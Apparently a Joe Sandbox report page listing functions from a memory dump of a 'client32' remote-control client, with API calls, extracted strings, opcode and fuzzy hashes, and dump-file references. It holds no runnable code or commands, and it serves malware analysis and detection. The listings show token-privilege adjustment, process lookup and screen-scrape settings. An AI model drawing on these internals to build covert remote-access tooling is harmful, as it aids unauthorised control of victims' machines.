String ID: Client32$NSMWClass$NSMWClass
API String ID: 3192549508-611217420
Opcode ID: e29b56f4a67aa672c9c3122cce21b876c4d1529a7a373f118b029bff64f70a14
Instruction ID: e21dedaf74b0f8cf59cf3be59171af9e644e6a1753dc25f7f597d2ad8de8aca1
Opcode Fuzzy Hash: e29b56f4a67aa672c9c3122cce21b876c4d1529a7a373f118b029bff64f70a14
Instruction Fuzzy Hash: 44F04F7891112A9FCB06DFA9D890A9EF7E4AB4821CB508165E82587348EB30A605CB95

Function 1109E910 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),00000000,00000000,?,1102FCB2,?,00000000), ref: 1109E948
GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),?,00000001,00000001), ref: 1109E964
AllocateAndInitializeSid.ADVAPI32(?,00000001,00000012,008ADCB8,008ADCB8,008ADCB8,008ADCB8,008ADCB8,008ADCB8,008ADCB8,111EEB64,?,00000001,00000001), ref: 1109E990
EqualSid.ADVAPI32(?,008ADCB8,?,00000001,00000001), ref: 1109E9A3

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: InformationToken$AllocateEqualInitialize
String ID:
API String ID: 1878589025-0
Opcode ID: df3ee88bcedd232c82b95f826b647b916292d8a5149356288e18f949a5596a8a
Instruction ID: 8f268d00a2632c5decc73a479da56acc1190ac8ef7b7f04f8431c56e7d3a1b5e
Opcode Fuzzy Hash: df3ee88bcedd232c82b95f826b647b916292d8a5149356288e18f949a5596a8a
Instruction Fuzzy Hash: 22217131B0122EABEB10DBA4CC81BBEB7B8EB44708F100469E919D7184E671AD00CBA1

Function 1109D440 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(000F01FF,?,11030063,00000000,00000000,00080000,73B292A0,00080000,00000000,00000000), ref: 1109D46D
OpenProcessToken.ADVAPI32(00000000), ref: 1109D474
LookupPrivilegeValueA.ADVAPI32(00000000,00000000,?), ref: 1109D485
AdjustTokenPrivileges.KERNELBASE(00000000), ref: 1109D4A9

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: ProcessToken$AdjustCurrentLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 2349140579-0
Opcode ID: b2ad1513cc86a00d87a5922bdef26ddabf3e928486d47d374c40a1db595ff72d
Instruction ID: 1acc50509d1dc0efa8f8b8857b060522b21de2b31161cc556941a9c494b785c9
Opcode Fuzzy Hash: b2ad1513cc86a00d87a5922bdef26ddabf3e928486d47d374c40a1db595ff72d
Instruction Fuzzy Hash: AE015EB5640218ABD710DFA4CC89BAAF7BCFF44B05F10452DFA1597280D7B1AA04CB71

Function 1109D4D0 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,00000000,?,?,00000000,00000000,00000000,1109E810,00000244,cant create events), ref: 1109D4EC
CloseHandle.KERNEL32(?,00000000,1109E810,00000244,cant create events), ref: 1109D4F5

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: f88a9555f2545ca551a8130bcebdd0bed71c0aa378151d9f95003999b02a9da9
Instruction ID: ae8e9f792a84aceb39bcb46fd7c9804e810fa9328d8f27f892a8d401e6504800
Opcode Fuzzy Hash: f88a9555f2545ca551a8130bcebdd0bed71c0aa378151d9f95003999b02a9da9
Instruction Fuzzy Hash: 55E0EC71654614ABE738CF28DC95FA677ECAF09B01F11495DF9A6D6180CA60F8408B64

Function 1102E640 Relevance: 241.6, APIs: 31, Strings: 106, Instructions: 1869windowthreadsleepCOMMON

Download Yara Rule

APIs

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

GetSystemMetrics.USER32(00002000), ref: 1102E7C4
FindWindowA.USER32(NSMWClass,00000000), ref: 1102E985

Part of subcall function 111100D0: GetCurrentThreadId.KERNEL32 ref: 11110166
Part of subcall function 111100D0: InitializeCriticalSection.KERNEL32(-00000010,?,11031040,00000001,00000000), ref: 11110179
Part of subcall function 111100D0: InitializeCriticalSection.KERNEL32(111F08F0,?,11031040,00000001,00000000), ref: 11110188
Part of subcall function 111100D0: EnterCriticalSection.KERNEL32(111F08F0,?,11031040), ref: 1111019C
Part of subcall function 111100D0: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,11031040), ref: 111101C2

GetWindowThreadProcessId.USER32(00000000,?), ref: 1102E9C1
OpenProcess.KERNEL32(00100400,00000000,?), ref: 1102E9E9
IsILS.PCICHEK(?,?,View,Client,Bridge), ref: 1102ECAB

Part of subcall function 11094B30: OpenProcessToken.ADVAPI32(00000000,00000018,00000000,00000000,00000000,00000000,?,?,1102EA18,00000000,?,00000100,00000000,00000000,00000000), ref: 11094B4C
Part of subcall function 11094B30: OpenProcessToken.ADVAPI32(00000000,00000008,00000000,?,?,1102EA18,00000000,?,00000100,00000000,00000000,00000000), ref: 11094B59
Part of subcall function 11094B30: CloseHandle.KERNEL32(00000000,00000000,?,00000100,00000000,00000000,00000000), ref: 11094B89

SendMessageA.USER32(00000000,00000010,00000000,00000000), ref: 1102EA48
WaitForSingleObject.KERNEL32(00000000,00007530), ref: 1102EA54
CloseHandle.KERNEL32(00000000), ref: 1102EA6C
FindWindowA.USER32(NSMWClass,00000000), ref: 1102EA79
GetWindowThreadProcessId.USER32(00000000,?), ref: 1102EA9B
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 1102E7F6

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

LoadIconA.USER32(11000000,000004C1), ref: 1102EE45
LoadIconA.USER32(11000000,000004C2), ref: 1102EE55
DestroyCursor.USER32(00000000), ref: 1102EE7E
DestroyCursor.USER32(00000000), ref: 1102EE92
GetVersion.KERNEL32(?,?,?,?,?,00000000,MiniDumpType,000000FF,00000000,00000000,?,?,View,Client,Bridge), ref: 1102F45F
GetVersionExA.KERNEL32(?,?,?,?,?,?,00000000,MiniDumpType,000000FF,00000000,00000000,?,?,View,Client,Bridge), ref: 1102F4B2
Sleep.KERNEL32(00000064,Client,*StartupDelay,00000000,00000000,?,?,?,?,?,00000000,MiniDumpType,000000FF,00000000,00000000), ref: 1102FA52
PeekMessageA.USER32(?,00000000,00000000,00000009,00000001), ref: 1102FA8C

Part of subcall function 11132BF0: wsprintfA.USER32 ref: 11132C60
Part of subcall function 11132BF0: GetTickCount.KERNEL32 ref: 11132C91
Part of subcall function 11132BF0: SHGetFolderPathA.SHFOLDER(00000000,0000002B,00000000,00000000,?), ref: 11132CA4
Part of subcall function 11132BF0: GetTickCount.KERNEL32 ref: 11132CAC

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

DispatchMessageA.USER32(?), ref: 1102FA96
PeekMessageA.USER32(?,00000000,00000000,00000009,00000001), ref: 1102FAA8
CloseHandle.KERNEL32(00000000,11027270,00000001,00000000,?,?,?,?,?,00000000,?,?,?,?,?,00000000), ref: 1102FD40
GetCurrentProcess.KERNEL32(00000000,Client,*PriorityClass,00000080,00000000,Client,*ScreenScrape,00000000,00000000,?,?,?,?,?,00000000), ref: 1102FD78
SetPriorityClass.KERNEL32(00000000,?,?,?,?,?,00000000,?,?,?,?,?,00000000,MiniDumpType,000000FF,00000000), ref: 1102FD7F
SetWindowPos.USER32(0002044E,000000FF,00000000,00000000,00000000,00000000,00000013,Client,AlwaysOnTop,00000000,00000000), ref: 1102FDB5
CloseHandle.KERNEL32(00000000,11059C10,00000001,00000000,?,?,?,?,?,?,?,?,00000000), ref: 1102FE36
wsprintfA.USER32 ref: 1102FFA5
PostMessageA.USER32(NSMWControl32,00000000,Default,UseIPC,00000001,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 110300F7
PostMessageA.USER32(00000000,00000693,00000000,00000000), ref: 1103010D
PostMessageA.USER32(00000000,00000693,00000000,00000000), ref: 11030136
PostMessageA.USER32(00000000,00000693,00000000,00000000), ref: 1103015F

Part of subcall function 111281B0: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,73B292A0,00000002,74DF2EE0), ref: 1112820A
Part of subcall function 111281B0: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 11128217
Part of subcall function 111281B0: WaitForSingleObject.KERNEL32(?,000000FF,00000000,00000000), ref: 1112825E

Strings

TracePriv, xrefs: 1102FA04
Windows 2012 R2, xrefs: 1102F898
NSSWControl32, xrefs: 11030121
RestartAfterError, xrefs: 1102F003
cl32main, xrefs: 1102E673
OS2, xrefs: 1102F567
IsILS returned %d, isvistaservice %d, xrefs: 1102ECBA
*BeepUsingSpeaker, xrefs: 1102F372
Error. Wrong hardware. Terminating, xrefs: 1102ECE9
*ListenPort, xrefs: 1103009E
Windows 8.1 x64, xrefs: 1102F86C
632922, xrefs: 1102FB8D, 1102FBE6, 1102FC27, 1102FD04
NSM.LIC, xrefs: 1102EAFD, 1102EB9B
Ready, xrefs: 11030161
Windows 7, xrefs: 1102F773
Windows Vista x64, xrefs: 1102F6D7
Global\NSMWClassAdmin, xrefs: 1102FF9A
UseNTSecurity, xrefs: 1102FEBA
Windows 2008 x64, xrefs: 1102F73C
Windows 10 x64, xrefs: 1102F8F7
EnableGradientCaptions, xrefs: 1102EED0, 1102EEE7, 1102EF08
_debug, xrefs: 1102EDED, 1102EF46, 11030004
CabinetWClass, xrefs: 11030257
Windows 10, xrefs: 1102F8C7
Windows NT, xrefs: 1102F588
closed ok, xrefs: 1102EA5E
DisableJoinClass, xrefs: 1102F1E7, 1102F285
NSMWClassVista, xrefs: 1102E775
Windows Millennium, xrefs: 1102F525
Windows 2003 x64, xrefs: 1102F672
Client, xrefs: 1102EAC9, 1102EFE1, 1102F06E, 1102F08F, 1102F0FD, 1102F115, 1102F12D, 1102F157, 1102F181, 1102F1B7, 1102F1EC, 1102F204, 1102F21C, 1102F234, 1102F24C, 1102F264, 1102F28A, 1102F2A2, 1102F2BA, 1102F2D2, 1102F2EA, 1102F302, 1102F31A, 1102F332, 1102F445, 1102FA2B, 1102FAD6, 1102FB1F, 1102FCFA, 1102FD51, 1102FD6D, 1102FD94, 1102FEA4, 1102FEBF, 1102FEE0, 1102FFD1
Default, xrefs: 110300EB, 1103011A, 11030143
Error. Could not load transports - perhaps another client is running, xrefs: 1102FC63
Info. Client running as user=%s, type=%d, xrefs: 1102EA22
View, xrefs: 1102EAD5, 1102EED5, 1102EEEC, 1102EF0D
gClient.hNotifyEvent, xrefs: 1102E80F
Windows Ding.wav, xrefs: 1102F3DA
AlwaysOnTop, xrefs: 1102FD8F
Windows 2000, xrefs: 1102F5B5
EnableSmartcardLogon, xrefs: 1102FE9F
NoFTWhenLoggedOff, xrefs: 1102F315
Windows 7 x64, xrefs: 1102F794
Intel error "%s", xrefs: 1102ED48
DisableAudioFilter, xrefs: 1102F0A2, 1102F47C
DisableReplayMenu, xrefs: 1102F1FF, 1102F29D
DisableHelp, xrefs: 1102F32D
Bridge, xrefs: 1102EABD
win8ui, xrefs: 1102EDE8
\Explorer.exe, xrefs: 110302FD
Windows 98, xrefs: 1102F4F5
*BeepSound, xrefs: 1102F3A5
NSA.LIC, xrefs: 1102EB0B, 1102EB12, 1102EB35
istaUI, xrefs: 1102E6F6
Session shutting down, exiting..., xrefs: 1102E7CE
DisableTSAdmin, xrefs: 1102F051
EnableSmartcardAuth, xrefs: 1102FEDB
Windows 2012, xrefs: 1102F81B
Windows 2016, xrefs: 1102F92E
General, xrefs: 1102EF28, 1102F008, 1102F377, 1102F3AA
Windows 95, xrefs: 1102F4C4
DisableAudio, xrefs: 1102F069, 1102F08A, 1102F0F8, 1102F25F, 1102F2FD
client32, xrefs: 1102EBE5, 1102ED82
DisableRunplugin, xrefs: 1102F110
DisableConsoleClient, xrefs: 1102F039, 1102F0CE
_debug, xrefs: 1102FA09
V12.00.8, xrefs: 1102F987
*StartupDelay, xrefs: 1102FA26
Windows 2003, xrefs: 1102F60A
CLIENT32.CPP, xrefs: 1102E80A, 1102ED9B
ScreenScrape, xrefs: 1102F128, 1102F152, 1102F17C
Error x%x reading nsm.lic, sesh=%d, xrefs: 1102EB66
LSPloaded=%d, WFPloaded=%d, xrefs: 1102EFBA
pcicl32, xrefs: 1102E954
TCPIP, xrefs: 110300A3
NeedsReinstall, xrefs: 1102EFDC
DisableJournal, xrefs: 1102F22F, 1102F2CD
UseIPC, xrefs: 1102FFCC
Info. Client already running, pid=%d (x%x), xrefs: 1102E9CF
Info. Trying to close client, xrefs: 1102EA34
Windows 2008, xrefs: 1102F710
*ScreenScrape, xrefs: 1102FAD1, 1102FB1A, 1102FD4C
DisableRequestHelp, xrefs: 1102F217, 1102F2B5
Windows XP x64, xrefs: 1102F639
Windows CE, xrefs: 1102F959
Windows 8.1, xrefs: 1102F849
TraceIPC, xrefs: 1102FFFF
UseLegacyPrintCapture, xrefs: 1102F440
Windows Vista, xrefs: 1102F6A9
Windows XP, xrefs: 1102F5E3
Found old explorer hwnd=x%x h=%d,w=%d,style=x%x (%s), xrefs: 11030346
NSTWControl32, xrefs: 1103014A
V12.10.8, xrefs: 1102F98E, 1102F9C2
DisableJournalMenu, xrefs: 1102F247, 1102F2E5
*PriorityClass, xrefs: 1102FD68
Windows 8 x64, xrefs: 1102F7EA
AssertTimeout, xrefs: 1102EF23
Windows XP Ding.wav, xrefs: 1102F3E1
NSMWControl32, xrefs: 110300F2
NSMWClass, xrefs: 1102E786, 1102E967, 1102EA74, 1102FF8F
Found new explorer hwnd=x%x h=%d,w=%d,style=x%x (%s), xrefs: 110303E4
Audio, xrefs: 1102F0A7, 1102F481
ShowKBEnable, xrefs: 1102F1B2
Windows 8, xrefs: 1102F7C2
MiniDumpType, xrefs: 1102EF41
hClientRunning = %x, pid=%d (x%x), xrefs: 1102EAAA
istaService, xrefs: 1102E6DB

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Message$Process$Window$CloseCreateEventHandlePostwsprintf$CriticalOpenSectionThread$CountCurrentCursorDestroyFindIconInitializeLoadObjectPeekSingleTickTokenVersionWait$ClassDispatchEnterErrorExitFolderLastMetricsPathPrioritySendSleepSystem__wcstoi64_malloc_memset
String ID: *BeepSound$*BeepUsingSpeaker$*ListenPort$*PriorityClass$*ScreenScrape$*StartupDelay$632922$AlwaysOnTop$AssertTimeout$Audio$Bridge$CLIENT32.CPP$CabinetWClass$Client$Default$DisableAudio$DisableAudioFilter$DisableConsoleClient$DisableHelp$DisableJoinClass$DisableJournal$DisableJournalMenu$DisableReplayMenu$DisableRequestHelp$DisableRunplugin$DisableTSAdmin$EnableGradientCaptions$EnableSmartcardAuth$EnableSmartcardLogon$Error x%x reading nsm.lic, sesh=%d$Error. Could not load transports - perhaps another client is running$Error. Wrong hardware. Terminating$Found new explorer hwnd=x%x h=%d,w=%d,style=x%x (%s)$Found old explorer hwnd=x%x h=%d,w=%d,style=x%x (%s)$General$Global\NSMWClassAdmin$Info. Client already running, pid=%d (x%x)$Info. Client running as user=%s, type=%d$Info. Trying to close client$Intel error "%s"$IsILS returned %d, isvistaservice %d$LSPloaded=%d, WFPloaded=%d$MiniDumpType$NSA.LIC$NSM.LIC$NSMWClass$NSMWClassVista$NSMWControl32$NSSWControl32$NSTWControl32$NeedsReinstall$NoFTWhenLoggedOff$OS2$Ready$RestartAfterError$ScreenScrape$Session shutting down, exiting...$ShowKBEnable$TCPIP$TraceIPC$TracePriv$UseIPC$UseLegacyPrintCapture$UseNTSecurity$V12.00.8$V12.10.8$View$Windows 10$Windows 10 x64$Windows 2000$Windows 2003$Windows 2003 x64$Windows 2008$Windows 2008 x64$Windows 2012$Windows 2012 R2$Windows 2016$Windows 7$Windows 7 x64$Windows 8$Windows 8 x64$Windows 8.1$Windows 8.1 x64$Windows 95$Windows 98$Windows CE$Windows Ding.wav$Windows Millennium$Windows NT$Windows Vista$Windows Vista x64$Windows XP$Windows XP Ding.wav$Windows XP x64$\Explorer.exe$_debug$_debug$cl32main$client32$closed ok$gClient.hNotifyEvent$hClientRunning = %x, pid=%d (x%x)$istaService$istaUI$pcicl32$win8ui
API String ID: 1099283604-1305681686
Opcode ID: a9e638ff69f1124c323ad2d8e1e7c75ea6f1f7704d0975bff64711fd33ab6bf8
Instruction ID: 27af1d42f1b4f6ddb2c14770db7fbacfca67435089f052a3aa779117de4136e9
Opcode Fuzzy Hash: a9e638ff69f1124c323ad2d8e1e7c75ea6f1f7704d0975bff64711fd33ab6bf8
Instruction Fuzzy Hash: 3CE25D75F0022AABEF15DBE4DC80FADF7A5AB4474CF904068E925AB3C4D770A944CB52

Function 1102DB00 Relevance: 82.9, APIs: 15, Strings: 32, Instructions: 630
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

%sessionname%, xrefs: 1102E289, 1102E2A2
$session$, xrefs: 1102E2B6
%s.%02d, xrefs: 1102E250
Error x%x reading %s, sesh=%d, xrefs: 1102DDB1
14/03/16 10:38:31 V12.10F8, xrefs: 1102E3BE
screenscrape, xrefs: 1102DF18
Client, xrefs: 1102DEE5, 1102DF1D, 1102E034
ListenPort, xrefs: 1102DF00
client32, xrefs: 1102DE25
DisableConsoleClient, xrefs: 1102DE67
TSMode, xrefs: 1102DEE0
ts macaddr=%s, xrefs: 1102E01C
632922, xrefs: 1102E145, 1102E30B, 1102E32F, 1102E33C, 1102E36C, 1102E3E1
multipoint=%d, softxpand=%d, pid=%d, xrefs: 1102E410
NSM.LIC, xrefs: 1102DB22
, xrefs: 1102E0B5
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1102E274, 1102E2F3
%session%, xrefs: 1102E2CA
WTSFreeMemory, xrefs: 1102E061
client32 dbi %hs, xrefs: 1102E3C3
MacAddress, xrefs: 1102E02F
IsA(), xrefs: 1102E279, 1102E2F8
Warning: Unexpanded clientname=<%s>, xrefs: 1102E1F3
NSMWClass, xrefs: 1102DCE4
computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d, xrefs: 1102E3EA
ClientName, xrefs: 1102E0E5
client32.ini, xrefs: 1102DD55
TCPIP, xrefs: 1102DF05
Wtsapi32.dll, xrefs: 1102DF2C
Trying to get mac addr for %u.%u.%u.%u, xrefs: 1102DFF4
WTSQuerySessionInformationA, xrefs: 1102DF9E
%02d, xrefs: 1102E238

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: _malloc_memsetwsprintf
String ID: $$session$$%02d$%s.%02d$%session%$%sessionname%$14/03/16 10:38:31 V12.10F8$632922$Client$ClientName$DisableConsoleClient$Error x%x reading %s, sesh=%d$IsA()$ListenPort$MacAddress$NSM.LIC$NSMWClass$TCPIP$TSMode$Trying to get mac addr for %u.%u.%u.%u$WTSFreeMemory$WTSQuerySessionInformationA$Warning: Unexpanded clientname=<%s>$Wtsapi32.dll$client32$client32 dbi %hs$client32.ini$computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$multipoint=%d, softxpand=%d, pid=%d$screenscrape$ts macaddr=%s
API String ID: 3802068140-3703687561
Opcode ID: 8d7e34653a530cc98d4c7b142cb31fa2942002c12a1f4f3c66c79a8befd3f6be
Instruction ID: 727bed6a5d63171c4319a8bac454151215a042d106ed124055d9f0508de139ba
Opcode Fuzzy Hash: 8d7e34653a530cc98d4c7b142cb31fa2942002c12a1f4f3c66c79a8befd3f6be
Instruction Fuzzy Hash: 7932D275D0022A9FDF12DFA4DC84BEDB7B8AB44308F9445E9E55867280EB70AF84CB51

Function 110A9C90 Relevance: 56.2, APIs: 27, Strings: 5, Instructions: 236
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(setupapi.dll,73B292A0,?,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,11184778), ref: 110A9CC3
GetProcAddress.KERNEL32(00000000,SetupDiGetClassDevsA), ref: 110A9CE7
SetupDiGetClassDevsA.SETUPAPI(111A6E0C,00000000,00000000,00000012,?,?,?,?,?,?,?,?,?,00000000,11184778,000000FF), ref: 110A9D01
GetProcAddress.KERNEL32(00000000,SetupDiEnumDeviceInterfaces), ref: 110A9D2C
_free.LIBCMT ref: 110A9D60
GetProcAddress.KERNEL32(00000000,SetupDiGetDeviceInterfaceDetailA), ref: 110A9D72
GetLastError.KERNEL32 ref: 110A9D9D
_malloc.LIBCMT ref: 110A9DB3
GetProcAddress.KERNEL32(00000000,SetupDiGetDeviceInterfaceDetailA), ref: 110A9DD5
SetLastError.KERNEL32(00000078,?,?,?,?,?,?,?,?,?,00000000,11184778,000000FF,?,1102F1AA,Client), ref: 110A9E07
SetLastError.KERNEL32(00000078), ref: 110A9E1B
GetLastError.KERNEL32 ref: 110A9E21
_free.LIBCMT ref: 110A9E33
SetLastError.KERNEL32(00000078), ref: 110A9E44
SetLastError.KERNEL32(00000078), ref: 110A9E51
_free.LIBCMT ref: 110A9E64
FreeLibrary.KERNEL32(?,?), ref: 110A9E74
FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000,11184778,000000FF,?,1102F1AA,Client), ref: 110A9F18

Strings

SetupDiEnumDeviceInterfaces, xrefs: 110A9D26
SetupDiDestroyDeviceInfoList, xrefs: 110A9EC0
SetupDiGetClassDevsA, xrefs: 110A9CDB
setupapi.dll, xrefs: 110A9CBB
SetupDiGetDeviceInterfaceDetailA, xrefs: 110A9D6C, 110A9DCF

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
